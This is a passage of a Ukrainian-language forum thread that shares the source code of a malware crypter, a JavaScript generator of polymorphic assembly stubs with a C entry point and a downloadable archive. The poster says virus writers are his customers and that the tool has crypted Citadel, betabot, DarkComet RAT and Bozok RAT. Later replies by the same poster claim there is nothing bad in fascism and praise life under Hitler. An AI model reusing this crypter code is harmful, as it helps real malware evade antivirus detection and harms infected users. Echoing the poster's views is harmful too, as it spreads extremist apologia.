        if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); return ((this.num & 1 << i)!=0);},
    add: function(i) { 
        if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); this.num |= ((1 << i)>>>0); return(true);},
    remove: function(i) { 
        if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); this.num &= ~ ((1 << i)>>>0) ; return(true);},
    toArrayIndex: function() {
        var x = []; _.each(_.range(REG_EBP+1), function(a){ if (this.has(a)) x.push(a)}, this); return(x); },
    toArrayIndexInverse: function() {
        var x = []; _.each(_.range(REG_EBP+1), function(a){ if (!this.has(a)) x.push(a)}, this); return(x); },
    toArrayNamesInverse: function() {return(_.map(this.toArrayIndexInverse(), function(x){ return (this.arrNames[x])}, this));},
    toArrayNames: function() {return(_.map(this.toArrayIndex(), function(x){ return (this.arrNames[x])}, this));},
    getInt: function () {return(this.num);},
    setInt: function (i) {this.num = i; return (true);},
    not: function() {this.num = ((~ this.num >>> 0) & 0x7f); return(true);}};

module.exports.SetRegister = SetRegister;
module.exports.SetRegister.prototype = SetRegisterProto;
SetRegister.prototype = SetRegisterProto;

function Registers() {
    var rn = [['eax', 'ax', 'ah', 'al'], ['ebx', 'bx', 'bh', 'bl'], ['ecx', 'cx', 'ch', 'cl'], ['edx', 'dx', 'dh', 'dl'], 
    ['esi', 'si', null, null ], ['edi', 'di', null, null], ['ebp', 'bp', null, null]];
    this.container = []; this.used = new SetRegister();
    _.each(rn, function(x, y) { this.container[y] = new Register(x[0], x[1], x[2], x[3]); }, this);};

RegistersProto = {

    objToIndex : function (a) {
    var b = null; _.find(this.container, function (x, y) { if (x === a) b=y; return (x === a);}, this); return(b);},

    arrIndexToArrObj : function (a) {
    if (_.isUndefined(a) || (!_.isArray(a)) || _.find(a, function(x) {if (x>REG_EBP || x<REG_EAX) return(true);})) return(null); 
    return(_.map(a, function(x) { return(this.container[x]); }, this))},

    getIndexByName : function (sName){
    var num = NaN; _.find(this.container, function(x, y) { if (x.name[0]===sName) {num = y; return(true);} }, this); return (num);},

    getByIndex : function (i) { if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(null); return(this.container[i]);},

    getArrFreeIndex : function () { return(this.used.toArrayIndexInverse()); },

    getArrFreeName : function () {return(this.used.toArrayNamesInverse());},

    getArrFreeObj : function (){return(_.filter(this.container, function(x) {return(!x.using);}, this));},

    getUsedIndex : function () {return(this.used.toArrayIndex());},

    getUsedNames : function() {return(this.used.toArrayNames());},

    getUsedObj : function () {return(this.arrIndexToArrObj(this.used.toArrayIndex()));},
    
    getFreeIndex : function(flags) {
        var  rs = this.getArrFreeObj(), r, res; 
        if (flags & USE_ONLY_GENERAL_REGS) rs = _.filter(rs, function(x) {return(x.isGeneral());}, this); 
        if (!_.size(rs)) return(NaN); 
        r = arrRndValue(rs); 
        if (flags & LOCK_REG) r.lock(); 
        res = this.objToIndex(r);
        if (!(flags & DONT_ADD_TO_LIST)) this.used.add(res); 
        return(res);
    },

    getFreeObj : function(flags) {
        var  rs = this.getArrFreeObj(), r; 
        if (flags & USE_ONLY_GENERAL_REGS) rs = _.filter(rs, function(x) { return(x.isGeneral()); }, this); 
        if (!_.size(rs)) return(null); 
        r = arrRndValue(rs); 
        if (flags & LOCK_REG) r.lock();
        if (!(flags & DONT_ADD_TO_LIST)) this.used.add(this.objToIndex(r)); 
        return(r);
    }
}

module.exports.Registers = Registers;
module.exports.Registers.prototype = RegistersProto;
Registers.prototype = RegistersProto;

function Variable (sName, iSize) {
    this.name = sName; this.use = false; this.size = iSize;};

module.exports.Variable = Variable;

function Variables () {
    this.container = new Array();};
    
VariablesProto = {

    add : function (sName, iSize) { if (!sName) return(null); if (!iSize) iSize = 4; if (!this.isExists(sName)) return(this.container.push(new Variable(sName, iSize))); return(null); },

    isExists : function (sName) {
    return((!_.isUndefined(sName)) && (_.find(this.container, function(x){ return (x.name === sName) }, this)));},

    toString : function (sName) {
    return(_.reduce(_.shuffle(this.container), function (m, x) {return(m+'  local   '+x.name+this.getAsmType(x.size)+'\n')}, '', this));},

    getAsmType : function(i) {
    var obj = {'1':':Byte', '2':':WORD', '4':':DWORD', '8':':QWORD'}; if (_.isUndefined(i) || i < 1 || (!_.isNumber(i))) return(null);
    if (_.has(obj, i)) return(obj[i]); return ('['+i.toHex()+']:BYTE');},

    getSize : function() {
        return(_.reduce(this.container, function(memo, v) { return memo + alignBy (v.size, 0x4); }, 0, this));}
};

module.exports.Variables = Variables;
Variables.prototype = VariablesProto;
module.exports.Variables.prototype = VariablesProto;

//module.exports.Variables.ptototype = VariablesProto;
function ExecutionEnvironment(sName, sCallConv, arrParam) {
    var f;
    this.regs = new Registers(); this.vars = new Variables(); this.name = sName; 
    this.callconv = sCallConv;
    if (sCallConv == 'stdcall') { this.regs.container[REG_EBP].lock(); };
    this.tableCmd = [];
    f = function (p, f) {
        f.emit([['add', p[0].s, '1'], ['sub', p[0].s, '-1'], ['inc', p[0].s], ['lea', p[0].s, '['+p[0].s+'+0x1]']][_.random(3)]); return(true);}
    this.tableCmd.push(['inc', ['r8'], 1, f]); 
    this.tableCmd.push(['inc', ['r16'], 1, f]); 
    this.tableCmd.push(['inc', ['r32'], 1, f]); 
    f = function (p, f) {
        f.emit([['add', p[0].s, '1'], ['sub', p[0].s, '-1'], ['inc', p[0].s]][_.random(2)]); return(true);}
    this.tableCmd.push(['inc', ['m32'], 1, f]);
    f = function (p, f) {
        f.emit(['add', p[1].s, p[0].s]); return(true);};
    this.tableCmd.push(['add', ['c8', 'r8'], 2, f]); 
    this.tableCmd.push(['add', ['c16', 'r16'], 2, f]); 
    f = function (p, f) {
        f.emit([['add', p[1].s, p[0].s], ['lea', p[1].s, '['+ p[1].s+'+'+unchainConst(p[0].s)+']']][_.random(1)]); return(true);};
    this.tableCmd.push(['add', ['c32', 'r32'], 2, f]);
    f = function (p, f) {f.emit([['add', p[1].s, p[0].s], ['lea', p[1].s, '['+p[0].s+'+'+p[1].s+']']][_.random(1)]); return(true);}
    this.tableCmd.push(['add', ['r32', 'r32'], 2, f]);
    f = function (p, f) {
        f.emit([['push', p[0].s, ';', 'pop', p[1].s], ['mov', p[1].s, p[0].s]][_.random(1)]); return(true);};
    this.tableCmd.push(['load', ['m32', 'r32'], 2, f]); 
    this.tableCmd.push(['load', ['r32', 'm32'], 2, f]); 
    this.tableCmd.push(['load', ['r32', 'r32'], 2, f]); 
    this.tableCmd.push(['load', ['c32', 'r32'], 2, f]); 
    this.tableCmd.push(['load', ['c32', 'm32'], 2, f]);
    f = function (p, f) {
        f.emit(['push', p[0].s, ';', 'pop', p[1].s]); 
        return(true); };
    this.tableCmd.push(['load', ['m32', 'm32'], 2, f]);
    f = function (p, f) {
        f.emit([['add', p[0].s, '-0x1'], ['sub', p[0].s, '0x1'], ['dec', p[0].s], ['lea', p[0].s, '['+p[0].s+'-0x1]']][_.random(3)]); 
        return(true); };
    this.tableCmd.push(['dec', ['r8'], 1, f]); this.tableCmd.push(['dec', ['r16'], 1, f]); this.tableCmd.push(['dec', ['r32'], 1, f]);
    f = function(p, f) { 
        f.emit([['test', p[0].s, p[0].s], ['cmp', p[0].s, (0).toHex()], ['or', p[0].s, p[0].s]][_.random(2)]);
        return(true);
    };
    this.tableCmd.push(['checkz', ['r8'], 1, f]); 
    this.tableCmd.push(['checkz', ['r16'], 1, f]); 
    this.tableCmd.push(['checkz', ['r32'], 1, f]);
    f = function(p, f) {
        f.emit([['mov', p[0].s, '0x0'], ['push', '0x0', ';', 'pop', p[0].s], ['and', p[0].s, '0x0'], ['xor', p[0].s, p[0].s], ['sub', p[0].s, p[0].s]][_.random(4)]); 
        return(true)
    };
    this.tableCmd.push(['loadz', ['r32'], 1, f]);
    f = function(p, f) { 
      var c;  
      if (([REG_ESI, REG_EDI, REG_EBP]).indexOf(p[1].i)>=0) {c = 0;} else {c = _.random(1);}
      if (c===0) { f.emit(['movzx', p[1].s,  p[0].s]); } else { f.cmd('loadz_r32', [p[1].i]); f.emit(['mov', f.toType('r8', p[1].i+REG_R8L).s, p[0].s]);} 
      return(true);};        
    this.tableCmd.push(['loadzx', ['m8', 'r32'], 2, f]);
    f = function(p, f) { 
        var c;  
        if (p[1].i in [REG_ESI, REG_EDI, REG_EBP]) {c = 0;} else {c = _.random(1);}
        if (!c) {f.emit(['movzx', p[1].s,  p[0].s]); } else { f.cmd('loadz_r32', [p[1].i]); f.emit(['mov', f.toType('r16', p[1].i+REG_R16).s, p[0].s]);} 
        return(true);};        
    this.tableCmd.push(['loadzx', ['m16', 'r32'], 2, f]);
    f = function(p, f) {
        var r;
        if (_.random(1)) {
            f.emit(['cmp', p[1].s, p[0].s]);
        } else {
            r = f.getFreeReg(LOCK_REG); 
            f.cmd('loadzx_m16$r32', [unchainMem(p[1].s), r.i]);
            f.emit(['cmp', r.s, (p[0].i).toHex()]); 
            r.o.unlock();
        }; 
        return(true);
    };
    this.tableCmd.push(['check', ['c16', 'm16'], 2, f]); 
    f = function(p, f) { 
        f.emit(['cmp', p[1].s, p[0].s]); return(true); };
    this.tableCmd.push(['check', ['c32', 'm32'], 2, f]); 
    this.tableCmd.push(['check', ['m32', 'r32'], 2, f]);
    this.tableCmd.push(['check', ['r32', 'm32'], 2, f]);
    this.tableCmd.push(['check', ['m32', 'r32'], 2, f]);
    this.useForResult = null; this.params = arrParam; this.code = ''; this.settings = {fTrashGen: false}; this.depth = 0;
};

ExecutionEnvironmentProto = {
    emit : function (line) {
    ax = []; ay= []; if (_.isString(line)) {this.code+=line;return(line);} if (!_.isArray(line)) return(null);
    _.each(line, function(x, i, arr) { if (x == ';') { ay.push(ax); ax = []; return(0); } ax.push(x); } , this); if (_.size(ax)) ay.push(ax); 
    this.code+=_.reduce(ay, function(m, x) { var s =''; if(_.size(x)){s='    '+pad(x[0], 8); 
    if (_.size(x) > 1) { s += x.slice(1).join(', ');}} return(m+s+'\n');}, '', this);return(true);},

    finalize : function(r) {
    if (this.callconv == 'stdcall') {
        var sResultType, bSaveUsedRegs = _.random(1), optimize = _.random(1);
        regz = this.regs.getUsedIndex();
        if (bSaveUsedRegs && _.isNumber(this.useForResult)) {
            if (this.useForResult == REG_EAX && optimize ) {this.regs.used.remove(REG_EAX);} 
            else { this.vars.add('iResult'); this.cmd('load_r32$m32', [this.useForResult, 'iResult']); }; 
        } else { 
            this.vars.add('iResult');
            if (_.isNumber(this.useForResult)) {this.cmd('load_r32$m32', [this.useForResult, 'iResult']);} else {
                if (!this.vars.isExists(this.useForResult)) {this.cmd('load_m32$m32', [this.useForResult, 'iResult']);};};
        };
        if (bSaveUsedRegs) {
            this.depth = _.size(this.regs.getUsedNames())*4;
            console.log('DEPTH1 = '+this.depth.toHex());
            this.code = _.reduce(this.regs.getUsedNames(), function(memo, i) {return('    push    '+i+'\n'+memo+'    pop     '+i+'\n');}, this.code, this);}
        else { this.depth = 0x20; console.log('DEPTH1 = '+this.depth.toHex()); this.code = '    pusha\n'+this.code+'    popa\n';};
        console.log('DEPTH1 = '+this.depth.toHex());
        this.depth += this.vars.getSize()+0x8+_.size(this.param)*0x4;
        console.log('VARSIZE = '+this.vars.getSize().toHex());
        console.log('DEPTH2 = '+this.depth.toHex());
        if (!(optimize && bSaveUsedRegs && this.useForResult === REG_EAX)) {this.cmd('load_m32$r32', ['iResult', REG_EAX]); };
        this.code = 'proc    '+this.name+' '+this.params.join(', ')+'\n'+this.vars+this.code+'    ret\nendp\n';
//        this.depth = 
        return (true);};
    return(false);},

    setUseForResult : function(r) { return ((_.isString(r)||_.isNumber(r))?(this.useForResult = r)|true:false) },

    toString : function () {return(this.code);},

    toType : function(t, v) {
      var getRSZ, isMem, toMem, toReg, oTableType; getRSZ = function(a) { return((a>>3)&3); };
      isMem = function (a){ return(_.isString(a) ? '['+a+']': null); };
      toMem = function (m, i) { var obj = {'0':'DWord', '1':'Word', '2':'Byte'}, p; if (_.isUndefined(i)||(!(p = isMem(m)))||(!_.isNumber(i))) 
      return(null); if (_.has(obj, i)) return({s:obj[i]+' '+p, o: null, i:null}); return(null); }
      toReg = function (p, ee) { return({i: p, o: ee.regs.getByIndex(p&7), s: ee.regs.getByIndex(p&7).toString(getRSZ(p))});};
      oTableType = {
        'm32': function (p, ee) {return(toMem(p, MEM32));}, 
        'm16': function (p, ee) {return(toMem(p, MEM16));}, 
        'm8':  function (p, ee) {return(toMem(p, MEM8));}, 
        'r32': function (p, ee) {return((_.isUndefined(p) || (p<REG_EAX) ||p>REG_EBP) ? null:toReg(p, ee));},
        'r16': function (p, ee) {return((_.isUndefined(p) || (getRSZ(p)!==REG_LOWORD)) ? null:toReg(p, ee));},
        'r8': function (p, ee) {return((_.isUndefined(p) || (getRSZ(p)!==REG_HIBYTE&&getRSZ(p)!==REG_LOBYTE)) ? null:toReg(p, ee))},
        'c32': function (p, ee) { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'DWORD ' + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )},
        'c16': function (p, ee) { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'WORD '  + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )},
        'c8': function (p, ee)  { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'BYTE '  + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null) )}
      };
      return(_.has(oTableType,t)?oTableType[t](v,this):null);
    },

    cmd : function(name, params) {
        var p = [], c = _.find(this.tableCmd, function(x) { return ( (!_.size(x[1])) || (x[0]+'_'+x[1].join('$')===name));}, this);
        if ((!c)||(!_.isFunction(c[3]))) return(false); _.each(c[1], function (x, i) { var v = this.toType(x, params[i]); 
        if (v) p.push(v);}, this); if (_.size(p)!==c[2]) return(false); c[3](p, this); return(true);},
    
    getFreeReg: function(f) {
    return(this.toType('r32', this.regs.getFreeIndex(f)));}};

module.exports.ExecutionEnvironment = ExecutionEnvironment;
module.exports.ExecutionEnvironment.prototype = ExecutionEnvironmentProto;
ExecutionEnvironment.prototype = ExecutionEnvironmentProto;

settings.js

var fs = require('fs');
module.exports.DATAPLACE_GENERATE = DATAPLACE_GENERATE = 0x1;
module.exports.DATAPLACE_DATASECT = DATAPLACE_DATASECT = 0x2;
module.exports.DATAPLACE_CODESECT = DATAPLACE_CODESECT = 0x3;
module.exports.DATAPLACE_RESOURCE = DATAPLACE_RESOURCE = 0x4;
module.exports.settings = null;

module.exports.readSettings = function (fn) {
  console.log(fn+'\n');
  module.exports.settings = JSON.parse(fs.readFileSync(fn));
}

module.exports.saveSettings = function (fn, depth, time, offset) {
    module.exports.settings.stackdepth = depth;
    module.exports.settings.datatime = time;
    module.exports.settings.loadpe.offset = offset;
    fs.writeFileSync(fn, JSON.stringify(module.exports.settings));
}

entry.c

#define LEAN_AND_MEAN
#pragma lib "kernel32.lib"
#pragma lib "user32.lib"

#include <windows.h>
#include <stdlib.h>

extern void WINAPI CryptMain(void);

int CALLBACK WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
  CryptMain();
  return(0);
}
Post's attachments

StubGenerator.zip 70.36 kb, 1034 downloads since 2015-01-02 

Подякували: leofun011

5

Re: [Джерельний код] Криптор

Перепрошую, По офтоплю в один пост;
вражають приємні закарлючки кодування, особливо platform.js
Пане 0xDADA11C7, то що ви згідно цитати місцевий хакер та вірусописець :) ?

Криптор (від англ. Cryptor — шифрувальник) — назва ряду програм для криптозахисту виконуваних файлів. Використовуються переважно вірусописцями й хакерами для маскування шкідливого програмного забезпечення.

Подякували: A.N.Onim1

6

Re: [Джерельний код] Криптор

Особисто в мене і підпис ваш, 0xDADA11C7, викликає не слабке здивування (хоча це начебто було пояснено як "іронія"), і рід занять - вірусописець, причому гордий своєю справою...

Мене, як психолога-любителя, в зв'язку з цим цікавить одне питання "Чому?". Ви не вважаєте негативними явищами гітлера та написання вірусів? Чи, наприклад, вибірковість зараження вірусами для вас має значення, і не всі повинні їх підхоплювати?

7

Re: [Джерельний код] Криптор

Анатолій, Криптором можна і нормальні розробки захищати від зворотньої розробки (принаймні ускладнити її), наприклад Ваші варезні додатки від кракерів чи таблетковиготовлювачив.

8

Re: [Джерельний код] Криптор

Анатолій написав:

Пане 0xDADA11C7, то що ви згідно цитати місцевий хакер та вірусописець :) ?

Згідно цитати - вони мої замовники  8)

9

Re: [Джерельний код] Криптор

ktretyak написав:

Мене, як психолога-любителя, в зв'язку з цим цікавить одне питання "Чому?". Ви не вважаєте негативними явищами гітлера та написання вірусів? Чи, наприклад, вибірковість зараження вірусами для вас має значення, і не всі повинні їх підхоплювати?

Оскільки я хочу суспільних змін, а ще з часів Сталіна вся опозиція таврується "фашизмом", то вважаю за потрібним розповісти, що нічого поганого в "фашизмі" нема. Це не стосується історії взагалі, як і аргументація опонентів :)

▼Прихований текст

З іншого боку я цілком усвідомлюю, що стіки економічої свободи, як за Гітлера, ми бачили тільки на картинках і Chemist-i на ютубному каналі Балашова. Економічні свободи, розбудова інфраструктури любо моєму серцю.

http://upload.wikimedia.org/wikipedia/uk/4/4b/Reichskommissariatukraine-uk.png

Хоча от Ерік Кох виявився рідкісною падлюкою і співпрацював з комуняками.

Щодо написання вірусів, то тут цікавить саме економічні свободи, культурний простір і коло спілкування.
Як тільки буде можливість - піду робити бойових роботів і люструвати ментів, але до цього ще треба дійти. Скоріш за все наповнення цього розділу буде за наступним ланцюжком - хак - геймдев - осдев

Подякували: morgot, leofun012

10

Re: [Джерельний код] Криптор

Chemist-i написав:

Анатолій, Криптором можна і нормальні розробки захищати від зворотньої розробки (принаймні ускладнити її), наприклад Ваші варезні додатки від кракерів чи таблетковиготовлювачив.

Дякую, за роз'яснення, (криптор - шифрування ресурсів, ок); для мого рівня це ще рано, але корисно знати що таке є, через рік чи пізніше розгляну матеріал.
але я нажаль на такому рівні веб-розвитку розвитку, що не розумію що таке " варезні додатки кракерів чи таблетковиготовлювачив"?

А ще в пана HetmanNet-а зустрів :)

Ні, бо я бубонтоголовий
Так, бо я бубонтоголовий

що він цим хотів сказати, що людина дуже розумна чи навпаки слабка на розум :) :) :)

11

Re: [Джерельний код] Криптор

Ваші варезні додатки від кракерів чи таблетковиготовлювачив
...
бубонтоголовий - (сленг HetmanNet only) Користувач ОС Лінукс Убунту (Бо ГетьманНет вважає, що Убунту не лінукс)

Подякували: Анатолій1

12 Востаннє редагувалося Анатолій (03.01.2015 20:44:36)

Re: [Джерельний код] Криптор

0xDADA11C7 написав:

Оскільки я хочу суспільних змін, а ще з часів Сталіна вся опозиція таврується "фашизмом", то вважаю за потрібним розповісти, що нічого поганого в "фашизмі" нема. Це не стосується історії взагалі, як і аргументація опонентів :)

.....

Хоча от Ерік Кох виявився рідкісною падлюкою і співпрацював з комуняками.

Щодо написання вірусів, то тут цікавить саме економічні свободи, культурний простір і коло спілкування.
.....

Я особисто теж за свободи, зростання Особистості та її Нації, без пригнічення своїх народів-сусідів.
А до історії ставлюсь , що було то було, і ніхто не скаже чи до кращого, чи до гіршого могло привести інший розвиток подій Великої Вітчизняної.
Зараз я знаю/чув, що історію переписують великі люди світу цього, подають її у вигідному для себе світлі, і хто правий хто ні,- наразі я сказати не можу. В мене не має бажання  витрачати свій час на дослідження саме достовірної історії, та й ще може бути такий варіант, як не має доброї та злої історії, погані та хороші, так що виходить з якої сторони подивитись на історію.
Питання "- Що тобі дасть знання достовірної історії?"
- Моральне зростання, перевага над іншими. - Можливо і іншим чином зростати.
- Повага до історії свого краю.- Цей варіант був би прийнятним для мене, але нажаль, я її не знаю.

13

Re: [Джерельний код] Криптор

Анатолій написав:

народів-сосідів

По фрейду.

14

Re: [Джерельний код] Криптор

По фрейду.

Ваш "фрейд" позинається з малої літери. Щоб він про це сказав?

Подякували: A.N.Onim1

15

Re: [Джерельний код] Криптор

0xDADA11C7 написав:

По фрейду.

Ваш "фрейд" позинається з малої літери. Щоб він про це сказав?

"Іронія" пане, він би сказав "Іронія" (саме так)

16

Re: [Джерельний код] Криптор

Зізнавайтесь,яке шкідливе пз криптували цією штуковиною? :)

17

Re: [Джерельний код] Криптор

VTrim написав:

Зізнавайтесь,яке шкідливе пз криптували цією штуковиною? :)

Ви ж самі бачити, hello.exe і calc.exe
Ну якщо hello.exe не така шкідлива програма, то віндузовський калькулятор.... =)

Подякували: leofun011

18

Re: [Джерельний код] Криптор

VTrim написав:

Зізнавайтесь,яке шкідливе пз криптували цією штуковиною? :)

Citadel, betabot, DarkComet RAT, Bozok RAT, ...

Подякували: leofun011

19

Re: [Джерельний код] Криптор

За вами вже виїхали. :D

20 Востаннє редагувалося Kane (04.01.2015 12:25:49)

Re: [Джерельний код] Криптор

▼Прихований текст

З такими темпами доведеться змінити назву та профіль форуму (ну там Replace Hack Group) xD

п.с. до речі, були два подібної тематики, україномовних: hackua.com та hackzona.com.ua.